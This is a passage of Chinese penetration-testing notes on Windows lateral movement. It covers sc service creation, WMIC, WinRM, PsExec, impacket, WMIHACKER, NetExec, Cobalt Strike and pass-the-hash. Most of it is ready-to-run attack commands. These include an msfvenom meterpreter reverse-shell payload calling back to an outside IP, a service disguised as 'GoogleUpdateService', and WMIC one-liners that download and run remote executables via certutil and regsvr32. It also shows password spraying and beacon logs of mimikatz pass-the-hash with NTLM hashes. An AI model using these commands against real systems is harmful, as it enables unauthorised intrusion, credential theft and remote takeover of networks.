sc 命令可以注册、删除和查询系统服务。
注意:
服务的 payload 是特别的类型,是 exe-service 类型的,需要与 服务控制器 不断通信。
详情可参考:
3提权 - Windows 提权 - 6)Windows 系统服务漏洞 - 2)可信任服务路径 - 4.生成 payload
# 本地系统启动时启动服务(binpath= 和 password= 后跟的空格 “ ” 是必须存在的,格式就是这样。)
sc \\10.10.10.20 create test binpath= "c:\xx.exe" password= 1qaz@WSX1
# 当 "mingy\administrator" 用户登录时启动服务
sc \\10.10.10.20 create test binpath= "c:\xx.exe" obj= "WEB\administrator" password= 1qaz@WSX1
# sc启动指定服务
sc \\10.10.10.20 start test
# sc停止指定服务
sc \\10.10.10.20 stop test
sc \\10.10.10.20 delete test
注意:binpath设置选项 '=' 后面有一个空格
1、建立 IPC 连接
shell net use \\10.10.10.20\C$ /user:administrator 1qaz@WSX


2、上传 payload
# 胜场payload(MSF)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.55.169.128 lport=4205 -f exe-service -o qiaoshen_service.exe
# 上传 payload
copy C:\temp\qiaoshen_service.exe \\10.10.10.20\C$\temp\qiaoshen_service.exe

虽然我们把 payload 上传到了目标主机上,但是我们无法远程的使 目标主机 执行我们的 payload,因此此时我们需要使用 at、schtasks 等计划任务的方式、或者 sc 的服务这种方式实现目标主机执行我们的 payload 实现上线。

3、创建服务
# sc 创建服务
sc \\10.10.10.20 create GoogleUpdateService binPath= "C:\temp\qiaoshen_service.exe" displayname= "displayname_nothingjustdisplay" start= auto
# sc 查询服务信息
sc \\10.10.10.20 qc GoogleUpdateService


4、启动服务
sc \\10.10.10.20 start GoogleUpdateService

成功上线。
服务启动默认是 SYSTEM 权限。

5、停止、删除服务
# 停止
sc \\10.10.10.20 stop GoogleUpdateService
# 删除
sc \\10.10.10.20 delete GoogleUpdateService

2)WMIC
WMIC 简介
WMI:(Windows Management Instrumentation Windows 管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI 的语法十分简单,基本上常见的命名空间、对象的用法几乎一模一样。它对应的是 Windows 里的 WMI 服务(winmgmt)。
在 Windows 2000 之后的操作系统中内置了该服务。WMI 使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM 中使用类表示管理对象,命名空间是一个类的集合。
通过使用 135 端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
而 WMIC 就是为 WMI 提供的命令行界面。
详细参考:https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic
使用条件
-
- Windows Management Instrumentation 服务开启,端口TCP 135,默认开启。
-
- 防火墙允许 135、445 等端口通信。
利用
0. 注意
1)必须指定账户及密码 且 必须是 administrator 账户
远程操作的时候必须指定 管理员账户密码,即使连接了 IPC,依然需要指定账户密码才可以。
且必须是管理员 administrator,即使是 administrators 组当中的其他成员都不可以。


2)格式必须规范
wmic /node:IP /user:username /password:password command
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief
绝不能写成:
wmic /node:10.10.10.20 useraccount list brief /user:administrator /password:1qaz@WSX - 报错
3)WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"
但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

1. 查询进程信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process list brief

2. 查看用户信息
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX useraccount list brief

2. 利用create创建进程
wmic process call create /?
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c C:\temp\qiaoshen.exe"
# WMI不支持执行命令,而是支持执行文件,可以通过加相应的参数执行命令,比如:
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig"
但是可以发现并没有结果回显,这种情况我们可以把命令执行的结果 重定向到文件当中,然后我们去查看文件当中的内容 即可。
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"



如果出现 “User credentials cannot be used for local connections”,应该是调用 calc.exe 程
序权限不够的问题。
如果出现 “Description = 无法启动服务”,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI 服务被禁用。
wmic 命令缺点是没有回显,可以使用 wmiexec.vbs 脚本实现回显。
4. 下载远程文件并执行
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.30:8000/qiaoshen.exe C:/Windows/Temp/qiaoshen.exe & C:/Windows/Temp/qiaoshen.exe"
wmic /node:10.10.10.20 /user:administrator /password:1qaz@WSX process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"


3)WinRM
WinRM 简介
WinRM 指的是 Windows 远程管理服务,通过远程连接 WinRM 模块可以操作 Windows 命令行,默认监听端口 5985(HTTP)和 5986 (HTTPS),在 2012 及以后默认开启。
使用条件
需要目标主机开启 WinRM 服务 并 设定好信任主机(可以让其他主机进行进行远程操作)
利用
1、判断本机是否开启 WinRM 服务
winrm enumerate winrm/config/listener

以下是未开启的


netstat -ano | findstr 5985
wmic service list brief | findstr WinRM

特殊情况

winrm enumerate winrm/config/listener → 没有任何输出
👉 说明没有配置监听器(不管是 HTTP:5985 还是 HTTPS:5986)。
netstat -ano | findstr 5985 / 5986 → 没有结果
👉 说明 5985、5986 端口没有在监听。
wmic service list brief | findstr WinRM →
0 WinRM 548 Auto Running OK
👉 说明 WinRM 服务本身是启动的(自启动 + 正在运行)。
2. 结论
WinRM 服务在本机是运行的 ✅
但没有监听器 ❌(所以外部没法连,netstat 也看不到 5985/5986)
因此严格来说,还不能算真正开启可用的 WinRM 远程管理
3. 怎么让它真正“开启”
只需要在目标机上执行:
winrm quickconfig
它会:
设置 WinRM 服务为自动启动并立即启动(你这里已经是了)。
创建一个默认的 HTTP://*:5985 监听器。
配置防火墙规则允许 5985 流量。
之后你再跑:
winrm enumerate winrm/config/listener
就会看到类似:
Listener
Address = *
Transport = HTTP
Port = 5985
...
再用 netstat -ano | findstr 5985 也会看到监听。

👉 意思就是:WinRM 服务虽然能启,但是 防火墙例外规则不会自动生效,因为当前网卡配置成了 Public 网络。
Windows 默认策略:
Domain 网络 和 Private 网络 → winrm quickconfig 会帮你放开防火墙(5985)。
Public 网络 → 出于安全考虑,不会自动放开。
解决方法:
方法一:直接把网络类型从 Public 改成 Private
打开 PowerShell(管理员)执行:
Get-NetConnectionProfile
找到你的网卡(比如 "Network")。
修改为专用网络:
Set-NetConnectionProfile -Name "Network" -NetworkCategory Private
然后重新执行:
winrm quickconfig
这时就会自动放开 5985 防火墙规则。
方法二:手动放开防火墙(不改网络类型)
如果不想改网络属性,直接放规则就行:
netsh advfirewall firewall add rule name="WinRM HTTP" dir=in action=allow protocol=TCP localport=5985
netsh advfirewall firewall add rule name="WinRM HTTPS" dir=in action=allow protocol=TCP localport=5986
然后重新执行:
winrm quickconfig
方法三:禁用防火墙(测试环境临时用)
netsh advfirewall set allprofiles state off
👉 不推荐生产环境用,太暴力。
2、命令开启 WinRM 服务
winrm quickconfig


3、允许远程主机访问及访问远程主机
# WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}

4、Winrs 执行命令
winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX whoami
winrs -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX ipconfig


5、WinRM横向移动
1)利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 无效
winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX


2)在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 无效
winrm invoke create wmicimv2/win32_process @{Commandline="start C:\temp\qiaoshen.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX


3)在远程机器上 创建 并 运行 服务
# 创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="qiaoshen";DisplayName="qiaoshen_display";PathName="C:\temp\qiaoshen_service.exe"} -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 运行服务
winrm invoke StartService wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
# 删除服务
winrm invoke Delete wmicimv2/Win32_Service?Name=qiaoshen -r:http://10.10.10.20:5985 -u:administrator -p:1qaz@WSX
StartService() 方法返回值对照表
---------------------------------
0 = 成功
2 = 服务已经在运行
3 = 服务不可用
5 = 服务控制被拒绝
7 = 服务启动失败
10 = 服务已被禁用


2. 外部工具
内部工具都被禁用无法帮助我们 横向移动 的时候,我们可以使用以下的这些 外部工具 来帮助我们 强制内网横移 成功。
1)psexec
工作原理
1. PsExec 主要依赖以下协议和服务:
- SMB 协议(445 端口):用于文件共享和通信。
- ADMIN$ 共享:默认的管理共享。
- 服务控制管理器(SCM):用于创建和管理服务。
2. 认证阶段:
- 通过 SMB 协议与目标建立连接。
- 使用提供的凭据进行 NTLM 认证(支持明文密码和哈希传递)。
3. 文件传输阶段:
- 通过 ADMIN$ 共享(C:\Windows)上传 PsExec 的临时组件:
- PSEXESVC.exe:服务端组件
- PSEXESVC.dll:辅助 DLL 文件
4. 服务创建阶段:
- 通过服务控制管理器(SCM)创建临时服务: sc \\目标 create PSEXESVC binpath= "C:\Windows\PSEXESVC.exe"
- 服务类型设置为"交互式进程"(允许 UI 显示)
5. 命令执行阶段:
- 启动创建的服务
- PSEXESVC.exe 作为服务运行后:
- 建立命名管道(.\pipe\PSEXESVC)进行通信
- 执行指定的命令或启动交互式会话
6. 清理阶段(默认行为):
- 命令执行完成后自动删除服务
- 移除临时文件(PSEXESVC.exe 和 PSEXESVC.dll)
使用条件
-
对方主机开启了 ADMIN 共享,如果关闭了 ADMIN 共享,会提示:找不到网络名
-
防火墙允许 445 端口的 SMB 通信。
-
如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问。
-
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
A. PsExec.exe
PsExec 是微软 Sysinternals 套件中的一个强大工具,用于在远程 Windows 系统上执行命令或启动交互式会话。它被广泛用于系统管理、渗透测试和横向移动。
PsExec 是 Sysinternals Suite 的一部分,可以从微软官网免费下载:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec
注意:
第一次运行会弹框 PsExec License Agreement,输入 –accepteula 这个参数就可以绕。


如果出现找不到网络名,判断目标主机已禁用 ADMIN$ 共享
基本语法
PsExec \\目标计算机 [-u 用户名] [-p 密码] [选项] [命令]
常用选项
| 选项 | 描述 |
|---|---|
| -u | 指定用户名 |
| -p | 指定密码 |
| -s | 以系统账户运行 |
| -i | 运行程序并显示其UI(如果有) |
| -d | 不等待程序终止 |
| -c | 将指定程序复制到远程系统执行 |
| -h | 如果目标系统支持,以提升的权限运行 |
| -accepteula | 自动接受许可协议 |
利用
1. 开启远程交互式命令行 - cmdShell
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s cmd.exe -accepteula


2. 在远程计算机上执行命令 - 命令执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s whoami
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -accepteula -s ipconfig


3. 建立 IPC 连接后,使用 PsExec 无需输入密码
# 建立 IPC 连接。
net use \\10.10.10.20\ipc$ /user:administrator 1qaz@WSX
# 目标主机 - 命令执行
PsExec.exe \\10.10.10.20 whoami -accepteula
# 获得 目标主句 CMD_Shell
PsExec.exe \\10.10.10.20 -s cmd.exe -accepteula

4. 从本地复制文件到远程执行
PsExec.exe \\10.10.10.20 -u administrator -p 1qaz@WSX -s C:\temp\qiaoshen.exe
-c <[路径]文件名>: 拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)


B. impacket-psexec
impacket 简介
Impacket 是一个功能强大的 Python 网络协议工具包,广泛用于渗透测试、红队行动 和 网络安全研究。它实现了多种 Windows 协议(如 SMB、MSRPC、LDAP、Kerberos 等),并提供了一系列攻击模块,用于凭证窃取、横向移动、权限提升和域渗透。
python:
https://github.com/fortra/impacket
exe:
https://github.com/maaaaz/impacket-examples-windows
impacket套件中的psexec与官方psexec.exe相比会自动删除服务,增加隐蔽性

利用
1. 交互式命令行
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] -codec gbk
-codec: 中文是 gbk 编码,指定 gbk 编码就不会乱码了。

2. 直接执行命令
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] whoami -codec gbk
proxychains4 -q python3 psexec.py administrator:1qaz@[email protected] ipconfig -codec gbk
注意:
命令必须放在 "-codec gbk" 前面。

C. impacket-smbexec
impacket-smbexec 简介
impacket 套件中的 smbexec 是一款基于 psexec 的域渗透测试工具,类似 psexec,通过 SMB 执行命令。
就是 impacket 套件当中的一员。
```QiaoShen

##### 利用
```QiaoShen
# 直接获得 cmd-Shell
proxychains4 -q python3 smbexec.py administrator:1qaz@[email protected] -codec gbk
# 执行命令
smbexec.py 不能执行命令,只能直接 getshell。

2)wmiexec(更加推荐)
A. impacket-wmiexec
wmiexec 简介
WMIEXEC 是基于 Windows Management Instrumentation (WMI) 的远程命令执行工具,常用于 内网渗透 和 横向移动。
它是 Impacket 套件 的一部分(wmiexec.py),也可在 Metasploit(psexec over WMI)和 Cobalt Strike 中使用。
主要特点:
- 无文件落地(大部分操作在内存中完成)
- 使用合法 WMI 协议(不易被传统防火墙拦截)
- 支持 NTLM/Kerberos 认证(适用于域环境)
- 隐蔽性强(相比 psexec,日志记录较少)

工作原理
WMIEXEC 通过 WMI(Windows Management Instrumentation)远程执行命令,核心流程如下:
(1)建立 WMI 连接
认证:使用提供的凭据(用户名/密码、NTLM 哈希、Kerberos 票据)连接目标机器的 135 端口(RPC) 和 445 端口(SMB)。
初始化 WMI 会话:通过 DCOM(Distributed COM) 协议与 WinMgmt 服务交互。
(2)创建 WMI 进程
调用 Win32_Process 类:使用 WMI 的 Create 方法在目标机器上创建进程(如 cmd.exe /c whoami)。
执行命令:
标准输出
通过 SMB 共享(ADMIN$ 或 C$) 返回
错误输出
写入临时文件(如 C:\Windows\Temp<随机名>.tmp)
(3)清理痕迹
删除临时文件(部分工具可配置不删除)
关闭 WMI 会话
利用
1. 在远程主机执行命令 - 命令执行
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] whoami -codec gbk

2. 获得交互式命令行 - cmdShell
proxychains4 -q python3 wmiexec.py -share admin$ administrator:1qaz@[email protected] -codec gbk

B. WMIHACKER
WMIHACKER 简介
常见的 WMIEXEC、PSEXEC 执行命令是创建服务或调用 Win32_Process.create 执行命令,此工具通过 135 端口进行命令执行,读取执行结果以及进行文件传输时无需 445 端口,通过把执行结果写入注册表中,然后进行读取。
项目地址:
https://github.com/rootclay/WMIHACKER
主要功能:命令执行、文件上传、文件下载
核心特点:无需 445 端口开放。
利用
cscript //nologo WMIHACKER_0.6.vbs

1. 有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo" 1

2. 无命令回显
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "systeminfo > c:\1.txt" 0


3. 模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 10.10.10.20 administrator "1qaz@WSX"

4. 文件上传
# 复制本机 C:\temp\qiaoshen.exe 到远程主机 C:\Windows\temp\qiaoshen.exe
cscript WMIHACKER_0.6.vbs /upload 10.10.10.20 administrator "1qaz@WSX" "C:\temp\qiaoshen.exe" "C:\Windows\Temp\qiaoshen.exe"
很奇怪的一点在于无法执行 - 执行了以后没反应、没效果:
# 无命令回显执行 payload
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 0
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "C:\Windows\Temp\qiaoshen.exe" 1
cscript WMIHACKER_0.6.vbs /cmd 10.10.10.20 administrator "1qaz@WSX" "start C:\Windows\Temp\qiaoshen.exe" 1

5. 文件下载
# 下载远程主机 C:\1.txt 到本地 C:\temp\1.txt
cscript WMIHACKER_0.6.vbs /download 10.10.10.20 administrator "1qaz@WSX" "C:\temp\1.txt" "C:\1.txt"

3)NetExec
NetExec 简介
项目简介:NetExec(原名 CrackMapExec,简称 NXC)是一款功能强大的 网络渗透测试与红队工具,专为 Windows 活动目录(AD) 环境的安全评估和攻击设计。它支持多种协议(如 SMB、WinRM、LDAP、MSSQL 等),能够执行 凭证爆破、横向移动、权限提升、信息收集 等操作,是红队和渗透测试人员的常用工具。
项目地址:
https://github.com/Pennyw0rth/NetExec
参考文档:
https://www.netexec.wiki/

利用
VPS 有点问题,用 Kali 的,Kali 自带了 nxc。

1、内网信息收集
# 密码喷洒
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth
# 扫描 SMB 共享
proxychains -q nxc smb 10.10.10.10-30 -u administrator -p '1qaz@WSX' --local-auth --shares

2、横向移动
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method smbexec --local-auth -x whoami
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method mmcexec --local-auth -x whoami
proxychains -q netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami

wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x whoami
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec-event --local-auth -x whoami

winrm
netexec winrm 10.10.10.20 -u administrator -p 1qaz@WSX --local-auth -x whoami
netexec winrm 10.10.10.20 -u administrator -p '1qaz@WSX' --local-auth -X "Get-Process"

上传文件
proxychains -q netexec wmi 10.10.10.20 -u administrator -p 1qaz@WSX --exec-method wmiexec --local-auth -x "dir C:\windows\temp\qiaoshen.exe"
# 上传
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --put-file /root/tmp/payload/qiaoshen.exe windows\\temp\\qiaoshen.exe --local-auth
注意:
默认上传到目标服务器会自动带上 C$,因此直接写 C$ 后的路径即可,否则报错。

下载文件
下载文件同理
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX --get-file windows\\temp\\qiaoshen.exe /root/tmp/qiaoshen.exe --local-auth

执行文件
netexec smb 10.10.10.20 -u administrator -p 1qaz@WSX -x 'C:/Windows/temp/qiaoshen.exe' --local-auth


4)Cobalt Strike
需要是 administrator 权限,因为都是利用的 psexec 这种利用了 Pipe、IPC 管道的,都需要 administrator 权限才可以 远程连接控制。
1、凭据获取
前面章节写了,看前面。
hashdump
logonpasswords


2、扫描存活主机
前面章节写了,看前面。
3、横向移动
1、创建 SMB 监听器
Pipename - 管道名 - 自定义。

2、Jump - psexec


3、上线
因为 psexec 的手法,利用的服务创建的方式,横移后上线的也直接就是 SYSTEM 系统高权限。

# 核心本质解析
rev2self
# 还原token令牌
pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"
jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload
beacon> rev2self
[*] Tasked beacon to revert token
beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command
beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
| PID 4012
| TID 1172
| LSA Process is now R/W
| LUID 0 ; 6146101 (00000000:005dc835)
\_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
\_ kerberos - data copy @ 000000000161E8E8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000000001B4C668 (16) -> null
```QiaoShen
##### psexec、psexec64 和 psexec_psh 区别
###### 1. psexec (传统PsExec)
- 实现方式:使用服务控制管理器(SCM)创建 Windows 服务。
- 特点:
- 上传服务 二进制文件 到目标主机(默认位置:ADMIN$\system32\ )
- 需要管理员权限。
- 会在目标系统创建服务项(默认名称随机)。
- 执行后自动清理服务。
- 适用场景:
- 稳定的内网环境。
- 需要可靠执行的情况。
- 目标系统未开启防御措施。
###### 2. psexec64 (64位版本)
- 实现方式:与psexec相同,但使用 64位 payload。
- 特点:
- 专为 64位 系统设计。
- 避免 32位 进程在 64位 系统上的兼容性问题。
- 其他特性与传统 psexec 相同。
- 适用场景:
- 目标系统是 64位 Windows。
- 需要避免 WOW64 重定向问题。
###### 3. psexec_psh (PowerShell版本)
- 实现方式:使用PowerShell远程执行。
- 特点:
- 无文件落地(完全在内存中执行)
- 依赖 PowerShell Remoting (WinRM)
- 需要目标启用 PSRemoting (5985/5986端口)
- 更隐蔽,但依赖系统配置。
- 适用场景:
- 需要规避传统检测机制。
- 目标系统已配置PowerShell Remoting。
- 需要避免文件写入的操作。
| 特性 | psexec | psexec64 | psexec_psh |
| ---- | ------- | ----------- | ------------------- |
| 实现方式 | 服务创建 | 服务创建 (64 位) | PowerShell Remoting |
| 文件落地 | 是 | 是 | 否 |
| 权限要求 | 管理员 | 管理员 | 管理员 |
| 依赖组件 | SCM | SCM | WinRM/PowerShell |
| 隐蔽性 | 低 | 低 | 高 |
| 适用系统 | 32/64 位 | 64 位优先 | 32/64 位 |
| 日志记录 | 服务日志明显 | 服务日志明显 | PowerShell 日志 |
| 端口需求 | 445 | 445 | 5985/5986 |
## 3. PTH
```QiaoShen
其实 PTH 已经是在 内网横移了,PTH 成功 则 内网横移 成功了已经。
可以通过 PTH 一个一个验证碰撞是否可以成功横移到其他的内网主机;如果碰撞成功了那么直接就内网横移成功了。
PTH(Pass The Hash)是一种利用NTLM或LM哈希值而非明文密码进行身份验证的攻击技术。攻击者获取用户密码的哈希值后,可以直接使用该哈希值在网络中进行横向移动,无需破解出明文密码。
是域环境当中 横向移动的 核心方法。
但是无论是在 域环境 当中 还是在 工作组 当中,都可以使用该方法 进行横向移动。
只不过在工作组当中,很少有在一台主机当中存在另一台主机相关 密码凭证 的情况,因此其实大部分情况 PTH 都是在域环境当中存在。
攻击原理
1. NTLM认证机制:
- Windows系统使用 NTLM 协议进行身份验证时,实际上使用的是密码哈希值而非明文密码。
- 服务器端并不验证原始密码,只验证客户端提供的哈希值是否正确。
2. 哈希重用特性:
- 同一账户在不同机器上的密码哈希值相同 (除非启用了 CredSSP 或限制 NTLM )
- 攻击者获取的哈希值可在整个域环境中重用。
3. 协议设计缺陷:
- NTLM 协议设计时未考虑哈希值本身作为凭证的安全风险。
- 服务器无法区分哈希值是来自合法计算还是被窃取的。
前提条件
1. 获取有效的密码哈希值
-
必须已获取目标用户的 NTLM 或 LM 哈希值
-
常见获取方式:
- 内存提取(如LSASS进程)
- SAM数据库提取
- 域控制器上的NTDS.dit文件
- 网络嗅探NTLM认证流量
2. 目标系统使用NTLM认证
-
目标服务/系统 必须允许 NTLM 认证,如果系统强制使用 Kerberos 认证,PTH 攻击将失效
-
常见支持NTLM的服务:
- SMB文件共享
- RDP远程桌面(需特殊配置)
- Windows远程管理(WinRM)
- IIS Web应用(配置NTLM认证时)
3. 网络可达性
-
攻击者必须能够通过网络访问目标系统
-
相关端口必须开放:
SMB: 445/TCP
RDP: 3389/TCP
WinRM: 5985/5986(TCP)任意一个开启即可尝试 PTH。
4. 账户权限
-
使用的哈希值对应的账户在目标系统上需要有足够的权限
-
常见有效目标账户:
- 本地管理员组成员
- 域管理员组成员
- 具有远程登录权限的账户
KB2871997 补丁:2014 年 5 月 13 日微软发布了更新补丁 KB2871997,禁止本地管理员账户(除 Administrator (SID 500)之外)用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、PSEXEC、schtasks、at 和访问文件共享。
攻击流程
1. 信息收集阶段:
- 获取目标系统的用户哈希值(通过 LSASS 内存转储、SAM 数据库提取等方式)。
- 识别网络中的其他可访问系统。
2. 哈希传递阶段:
- 使用获取的哈希值尝试对其他系统进行身份验证。
- 常见工具:Mimikatz、Impacket 套件中的 psexec.py 等。
3. 权限提升与横向移动:
- 成功验证后,在目标系统执行命令。
- 进一步收集新系统的哈希值,继续横向移动。
4. 目标达成:
- 获取域管理员等高权限账户哈希。
- 控制整个域环境。

利用
1)工作组 PTH
1. MSF
psexec 横向移动
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set rhosts 10.10.10.20
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run


2. Cobalt Strike
其实用 Beacon TCP 或者 Beacon SMB 的监听器都可以。





# 核心本质解析
rev2self
# 还原token令牌
pth PC\Administrator 161cff084477fe596a5db81874498a24
# 使用mimikatz执行PTH操作
# mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4"
jump psexec WEB tcp1
# 生成 windows/beacon_bind_tcp (0.0.0.0:4443) 对应的 payload (\\WEB\ADMIN$\c930c4b.exe),并上传到WEB主机
# 在WEB主机通过 Service Control Manager 创建并启动服务 c930c4b 运行 payload
beacon> rev2self
[*] Tasked beacon to revert token
beacon> pth PC\Administrator 161cff084477fe596a5db81874498a24
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"Administrator" /domain:"PC" /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 50465323d7f > \\.\pipe\03c5e4" command
beacon> jump psexec WEB tcp1
[*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:4443) on WEB via Service Control Manager (\\WEB\ADMIN$\c930c4b.exe)
[+] host called home, sent: 640563 bytes
[+] Impersonated PC\Administrator
[+] received output:
Started service c930c4b on WEB
[+] established link to child beacon: 10.10.10.20
[+] received output:
user : Administrator
domain : PC
program : C:\Windows\system32\cmd.exe /c echo 50465323d7f > \\.\pipe\03c5e4
impers. : no
NTLM : 161cff084477fe596a5db81874498a24
| PID 4012
| TID 1172
| LSA Process is now R/W
| LUID 0 ; 6146101 (00000000:005dc835)
\_ msv1_0 - data copy @ 00000000016DE7E0 : OK !
\_ kerberos - data copy @ 000000000161E8E8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 0000000001B4C668 (16) -> null
3. impacket
wmiexec
# 执行 ipconfig 命令
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig"
# 中文编码解决乱码。
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] "ipconfig" -codec gbk
# 获取 CMD_Shell
python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 WEB/[email protected] -codec gbk




smbexec
# 得到 CMD_Shell
python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 [email protected] -codec gbk
# 执行命令
smbexec 不能直接执行命令。


4. netexec
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
smb
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec smb 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami





wmi
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
proxychains -q netexec wmi 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

winrm
proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth
